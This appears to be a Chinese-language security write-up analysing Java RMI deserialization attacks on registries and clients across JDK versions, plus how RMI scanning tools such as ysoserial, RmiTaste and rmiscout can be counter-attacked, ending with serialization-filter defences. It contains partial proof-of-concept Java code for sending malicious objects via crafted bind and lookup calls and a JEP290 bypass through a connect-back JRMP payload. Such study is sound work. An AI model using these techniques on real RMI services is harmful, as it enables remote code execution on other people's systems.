RMI反序列化及相关工具反制浅析
字数 1562 2025-08-09 13:33:35
RMI反序列化漏洞分析与工具反制研究
1. RMI基础与调试方法
1.1 RMI基本组件
- Registry: 注册中心,管理远程对象引用
- Server: 提供远程服务的实现
- Client: 调用远程服务的客户端
1.2 RMI调试技巧
调试RMI服务的关键断点位置:
sun/rmi/server/UnicastServerRef#dispatch
调试建议:
- Client和Server分开两个项目运行
- 使用
LocateRegistry.createRegistry()创建Registry - 通过
Naming.lookup()建立连接
2. RMI反序列化漏洞分析
2.1 攻击Registry端(< JDK8u121)
漏洞原理
- 低版本JDK允许远程主机向Registry进行
bind()操作 - Registry在调用
RegistryImpl#bind()前会先反序列化客户端数据 - 反序列化后才进行主机验证(
checkAccess())
攻击方法
-
使用对象代理+AnnotationInvocationHandler
- 对象代理实现
Remote接口绕过类型检查 - 使用
AnnotationInvocationHandler作为InvocationHandler触发CC1链
- 对象代理实现
-
仿写Naming.bind()发送任意对象
// 示例POC核心代码 LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint("127.0.0.1", 1099, null, null), false); UnicastRef unicastRef = new UnicastRef(liveRef); RemoteCall remoteCall = unicastRef.newCall(registryImpl_stub, operations, 0, 4905912898345647071L); ObjectOutput outputStream = remoteCall.getOutputStream(); outputStream.writeObject(hashMap); // 发送恶意对象 unicastRef.invoke(remoteCall);
2.2 攻击Registry端(JDK8u121 <= & < jdk8u242-b07)
防御机制
- IP检查前置:
RegistryImpl#bind()先检查来源IP再反序列化 - JEP290白名单:
RegistryImpl#registryFilter()限制反序列化类
绕过方法
- 使用lookup请求:相比bind请求,lookup不检查来源IP
- 利用白名单中的类:
RemoteObjectInvocationHandler在白名单中- 通过
RemoteObjectInvocationHandler触发二次连接
攻击步骤
-
自定义ysoserial,修改
JRMPClientpayload:public RemoteObjectInvocationHandler getRemoteObjectInvocationHandler(final String command) { // 构造包含恶意服务器地址的RemoteObjectInvocationHandler } -
发送恶意lookup请求:
Operation[] operations = new Operation[]{...}; LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint(host, port, null, null), false); UnicastRef unicastRef = new UnicastRef(liveRef); RemoteCall remoteCall = unicastRef.newCall(remoteStubTmp, operations, 2, 4905912898345647071L); ObjectOutput var3 = remoteCall.getOutputStream(); var3.writeObject(r); // 写入恶意RemoteObjectInvocationHandler unicastRef.invoke(remoteCall); -
服务端反连恶意JRMP Server触发反序列化
2.3 直接攻击Registry的限制(>= jdk8u242-b07)
- 新版本使用
readString()替代readObject()避免直接反序列化 - 目前无法直接通过Client端发送payload攻击Registry
2.4 攻击Client端
漏洞原理
- Client在
RegistryImpl_Stub#lookup中反序列化Registry返回的数据 - 恶意Registry可构造特殊返回值触发反序列化
攻击点
// sun.rmi.transport.StreamRemoteCall#executeCall
var1 = this.in.readByte();
switch (var1) {
case 2:
var14 = this.in.readObject(); // 反序列化点
3. RMI工具反制分析
3.1 ysoserial - exploit/RMIRegistryExploit
- 使用
registry.list()操作 - 调用链:
UnicastRef#invoke→ 触发Client端反序列化
3.2 RmiTaste
- connect模式:使用
RegistryImpl_Stub#list探测 - 所有模式最终都调用
Enumerate#connect - 存在被反制风险
3.3 rmiscout
- 所有模式使用
RMIConnector发起连接 - 核心调用
RegistryImpl_Stub#list - 存在被反制风险
4. 防御与反制措施
4.1 设置安全策略
创建policy.txt:
grant {
permission java.security.AllPermission "*";
};
4.2 启用安全管理器与序列化过滤
运行命令:
java -Djava.security.manager \
-Djava.security.policy=policy.txt \
-Djdk.serialFilter=!java.net.URL \
-jar tool.jar
4.3 序列化Filter配置
- 黑名单:
!java.net.URL(阻止URLDNS) - 可根据需要添加其他反序列化链关键类
5. 关键调用链总结
5.1 Registry端攻击链
RegistryImpl_Skel#dispatch
→ readObject() // 反序列化点
→ RegistryImpl#bind
5.2 Client端攻击链
RegistryImpl_Stub#lookup
→ UnicastRef#invoke
→ StreamRemoteCall#executeCall
→ readObject() // 反序列化点
5.3 工具反制链
工具调用registry.list()
→ RegistryImpl_Stub#list
→ UnicastRef#invoke
→ StreamRemoteCall#executeCall
→ readObject() // 反序列化点